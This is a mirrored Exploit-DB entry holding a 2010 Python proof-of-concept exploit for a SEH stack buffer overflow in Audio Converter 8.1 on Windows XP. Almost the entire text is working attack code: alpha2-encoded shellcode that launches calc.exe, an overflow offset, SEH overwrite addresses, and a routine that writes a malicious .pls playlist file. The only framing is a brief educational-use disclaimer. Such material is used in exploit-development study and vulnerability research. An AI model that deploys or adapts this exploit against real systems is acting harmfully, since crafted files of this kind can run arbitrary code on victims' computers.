Audio Converter 8.1 – Local Stack Buffer Overflow - 体验盒子

作者： sud0

日期： 2010-06-07

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/13760/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

#***********************************************************************************

# Exploit Title : Audio Converter 8.1 0day Stack Buffer Overflow PoC exploit

# Date: 16/05/2010

# Author: Sud0

# Bug found by: chap0

# Software Link : http://download.cnet.com/Audio-Converter/3000-2140_4-10045287.html

# Version : 8.1

# OS: Windows

# Tested on : XP SP3 En (VirtualBox)

# Type of vuln: SEH

# Thanks to my wife for her support

# Thanks for chap0 for bringing us the game

# Greetz to: Corelan Security Team

# http://www.corelan.be:8800/index.php/security/corelan-team-members/

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# Script provided 'as is', without any warranty.

# Use for educational purposes only.

# Do not use this code to do anything illegal !

# Corelan does not want anyone to use this script

# for malicious and/or illegal purposes

# Corelan cannot be held responsible for any illegal use.

#

# Note : you are not allowed to edit/modify this code.

# If you do, Corelan cannot be held responsible for any damages this may cause.

#***********************************************************************************

#code :

print "|------------------------------------------------------------------|\n";

print "| __ __|\n";

print "| _________________/ /___ _____ / /________ _____ ___|\n";

print "|/ ___/ __ \\/ ___/ _ \\/ / __ <code>/ __ \\ / __/ _ \\/ __ </code>/ __ `__ \\ |\n";

print "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |\n";

print "| \\___/\\____/_/ \\___/_/\\__,_/_/ /_/ \\__/\\___/\\__,_/_/ /_/ /_/|\n";

print "||\n";

print "| http://www.corelan.be:8800 |\n";

print "||\n";

print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";

print "[+] Exploit for .... \n";

import socket

#shellcode running calc.exe alpha2 encoded basereg edx

shell="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIlKXlpUnkxlqx7P7PQ0fOrHpcparLQsLMaUzXPPNXKwOcxBCGKOZpA"

junk="B" * (4432 - len(shell))#seh overwritten after 4432 bytes

nseh= "\xEB\x06\xEB\x06" # jmp forward

seh= "\xF1\x8E\x03\x10" # nice ppr from audioconv

align="\x61\x61\x61\xff\xE2" # popad / popad / popad / jmp edx

buffer= shell + junk + nseh + seh + "\x90" * 20 + align+ "A"* 10000#added some nops after seh

mefile = open('poc.pls','w');

mefile.write(buffer);

mefile.close()